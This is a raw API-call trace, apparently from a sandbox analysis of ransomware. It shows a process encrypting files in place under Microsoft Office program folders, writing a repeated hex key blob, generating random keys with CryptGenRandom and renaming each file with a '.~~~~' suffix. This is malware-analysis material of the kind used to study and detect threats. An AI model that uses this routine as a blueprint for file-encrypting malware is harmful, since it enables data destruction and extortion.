	[0130.485] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.485] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.485] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.485] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.486] CloseHandle (hObject=0x140) returned 1
	[0130.486] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3d28
	[0130.486] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21370_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21370_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21370_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21370_.gif.~~~~")) returned 1
	[0130.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0130.488] GetLastError () returned 0x0
	[0130.488] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2a11be0) returned 1
	[0130.559] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0130.559] CryptReleaseContext (hProv=0x2a11be0, dwFlags=0x0) returned 1
	[0130.559] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0130.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0130.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0130.559] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25054915098) returned 1
	[0130.559] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb742b3d0, dwHighDateTime=0x1d60e1e)) 
	[0130.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0130.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0130.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0130.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823138
	[0130.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.560] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823138 | out: hHeap=0x300000) returned 1
	[0130.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.560] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3d28
	[0130.560] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c3998
	[0130.560] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.560] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0130.560] GetLastError () returned 0x0
	[0130.561] GetLastError () returned 0x0
	[0130.561] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0130.561] GetLastError () returned 0x0
	[0130.561] GetLastError () returned 0x0
	[0130.562] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffdb2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.562] WriteFile (in: hFile=0x140, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x24e, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x24dfec0*=0x24e, lpOverlapped=0x0) returned 1
	[0130.566] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0130.566] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.566] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.566] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.567] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.567] CloseHandle (hObject=0x140) returned 1
	[0130.567] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3d28
	[0130.567] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21527_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21527_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21527_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21527_.gif.~~~~")) returned 1
	[0130.667] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0130.668] GetLastError () returned 0x0
	[0130.679] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a1d80) returned 1
	[0130.697] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.697] CryptReleaseContext (hProv=0x3a1d80, dwFlags=0x0) returned 1
	[0130.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0130.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0130.697] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25068757224) returned 1
	[0130.698] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb7582030, dwHighDateTime=0x1d60e1e)) 
	[0130.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0130.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0130.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0130.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe050
	[0130.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.698] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe050 | out: hHeap=0x300000) returned 1
	[0130.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.698] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4310
	[0130.698] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1618
	[0130.698] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4310 | out: hHeap=0x300000) returned 1
	[0130.698] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0130.698] GetLastError () returned 0x0
	[0130.699] GetLastError () returned 0x0
	[0130.699] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0130.699] GetLastError () returned 0x0
	[0130.699] GetLastError () returned 0x0
	[0130.703] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.704] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0130.706] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0130.706] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.706] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.718] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.718] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.718] CloseHandle (hObject=0x114) returned 1
	[0130.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0908
	[0130.718] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accvdtui.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accvdtui.dll.~~~~")) returned 1
	[0130.720] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0908 | out: hHeap=0x300000) returned 1
	[0130.720] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0130.720] GetLastError () returned 0x0
	[0130.722] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2a11c68) returned 1
	[0130.723] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.723] CryptReleaseContext (hProv=0x2a11c68, dwFlags=0x0) returned 1
	[0130.723] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0130.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0130.723] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25071299390) returned 1
	[0130.723] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb75ce2f0, dwHighDateTime=0x1d60e1e)) 
	[0130.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0130.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0130.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0130.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe0c0
	[0130.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.723] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe0c0 | out: hHeap=0x300000) returned 1
	[0130.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.723] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4310
	[0130.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0130.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4310 | out: hHeap=0x300000) returned 1
	[0130.724] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0130.724] GetLastError () returned 0x0
	[0130.724] GetLastError () returned 0x0
	[0130.743] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0130.743] GetLastError () returned 0x0
	[0130.743] GetLastError () returned 0x0
	[0130.767] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffef088, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.768] WriteFile (in: hFile=0x120, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x10f78, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x24dfec0*=0x10f78, lpOverlapped=0x0) returned 1
	[0130.770] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0130.770] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.770] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.771] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.771] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.771] CloseHandle (hObject=0x120) returned 1
	[0130.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0130.771] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl.~~~~")) returned 1
	[0130.773] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bc9f8 | out: hHeap=0x300000) returned 1
	[0130.773] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0130.773] GetLastError () returned 0x0
	[0130.775] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2a11be0) returned 1
	[0130.776] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.776] CryptReleaseContext (hProv=0x2a11be0, dwFlags=0x0) returned 1
	[0130.776] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0130.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0130.776] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25076632002) returned 1
	[0130.776] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb7640710, dwHighDateTime=0x1d60e1e)) 
	[0130.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0130.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0130.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0130.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cd150
	[0130.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.777] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd150 | out: hHeap=0x300000) returned 1
	[0130.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.777] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cd900
	[0130.777] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0130.777] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd900 | out: hHeap=0x300000) returned 1
	[0130.777] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0130.777] GetLastError () returned 0x0
	[0130.777] GetLastError () returned 0x0
	[0130.777] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0130.777] GetLastError () returned 0x0
	[0130.777] GetLastError () returned 0x0
	[0130.792] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffe9a1e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.792] WriteFile (in: hFile=0x120, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x165e2, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x24dfec0*=0x165e2, lpOverlapped=0x0) returned 1
	[0130.794] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0130.797] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.797] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.797] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.797] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.797] CloseHandle (hObject=0x120) returned 1
	[0130.797] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x2a08dd0
	[0130.797] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\BIBFORM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bibliography\\bibform.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\BIBFORM.XML.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bibliography\\bibform.xml.~~~~")) returned 1
	[0130.823] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a08dd0 | out: hHeap=0x300000) returned 1
	[0130.823] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0130.823] GetLastError () returned 0x0
	[0130.826] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a1be8) returned 1
	[0130.827] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.827] CryptReleaseContext (hProv=0x3a1be8, dwFlags=0x0) returned 1
	[0130.827] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0130.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0130.831] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25082067843) returned 1
	[0130.831] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb76d8c90, dwHighDateTime=0x1d60e1e)) 
	[0130.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0130.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0130.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0130.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cd070
	[0130.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.831] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd070 | out: hHeap=0x300000) returned 1
	[0130.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.831] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4310
	[0130.831] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1a40
	[0130.831] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4310 | out: hHeap=0x300000) returned 1
	[0130.831] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0130.832] GetLastError () returned 0x0
	[0130.832] GetLastError () returned 0x0
	[0130.832] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0130.832] GetLastError () returned 0x0
	[0130.832] GetLastError () returned 0x0
	[0130.834] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff7a0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
